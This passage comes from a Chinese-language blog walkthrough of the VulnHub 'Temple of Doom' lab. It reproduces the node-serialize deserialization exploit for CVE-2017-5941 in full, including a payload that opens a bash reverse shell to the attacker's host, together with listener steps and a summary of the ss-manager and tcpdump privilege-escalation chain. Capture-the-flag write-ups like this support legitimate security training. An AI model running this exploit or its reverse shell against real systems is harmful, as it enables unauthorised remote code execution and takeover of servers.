要注意的是,如果沒有重新刷新網頁並出現那些錯誤訊息,就直接利用弱點做reverse shell的話,可能就根本找不到ss-manager。

0x02' Get Shell (2)

第二種get shell的方式,是直接利用POC,不是自己手動用curl來推送。這裡使用的是49552。原本的49552長這樣:

# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.100.133:8000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

除了第12跟19行有change this一定要改外,還有一個地方要改:第27行。第12行改成網頁所在IP,第19行改成攻擊機的IP跟聆聽的port,第27行一部分改成{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"},具體來說程式碼如下:

# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.18.185:666/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT","exec": "'+code+'"}'
#change string in line 27
cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

接下來就是在攻擊機上nc -lvp 5555,之後再開一個cmd執行這個python檔,記得要用python 2版,就可get shell。

其實這三個POC都是針對同一個漏洞,只是做法不同。

0x04 入侵思路總結

偵查發現無可利用port或可利用目錄,但有網頁,重新整理後發現會有序列化錯誤 → 利用firefox抓包,查看request跟response(也可利用burp suit抓包) → 發現可疑cookie,利用base64解碼 → 解碼過後出現格式錯誤的資訊,為網頁重新整理後出現錯誤的原因,格式弄正確後再次推送cookie,出現使用者資訊 → 將偵查時出現的node.js、反序列化等等檢查,發現RCE弱點 → Get shell後,登入的使用者找不到弱點,但發現有另一個使用者fireman → 透過ps aux | grep fireman指令後,發現這帳號有用過ss-manager這個程式,google後,發現可RCE → 取得fireman的shell → 用sudo -l來查看fireman可利用程式,發現tcpdump,可提權取得root。

Reference

Vulnhub之Temple of Doom靶机详细测试过程 - Jason_huawen - 博客园
VulnHub-Temple of Doom: 1-靶机渗透学习 - FreeBuf网络安全行业门户
No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习
Vulnhub-靶机-TEMPLE OF DOOM: 1 - 皇帽讲绿帽带法技巧 - 博客园
小白的靶机VulnHub-Temple of Doom
Temple of Doom: 1 Walkthrough
Exploiting Node.js deserialization bug for Remote Code Execution | OpSecX
https://www.base64encode.org
Linux 命令 curl 的用法及参数解析 - ''竹先森゜ - 博客园


#attack #Vulnhub #Node.js Express framework反序列化漏洞 #firefox抓包 #base64編碼 #curl送cookie #CVE-2017-5941 #45625 #49552 #50036 #ps aux | grep 帳號 #ss-manager之RCE #43006 #sudo -l #tcpdump提權







Related Posts

利用 box-shadow 畫出任何圖案

利用 box-shadow 畫出任何圖案

C++ 教學(四) 條件敘述句

C++ 教學(四) 條件敘述句

React 按下編輯按鈕後,想要自動 focus 在內容上

React 按下編輯按鈕後,想要自動 focus 在內容上


Comments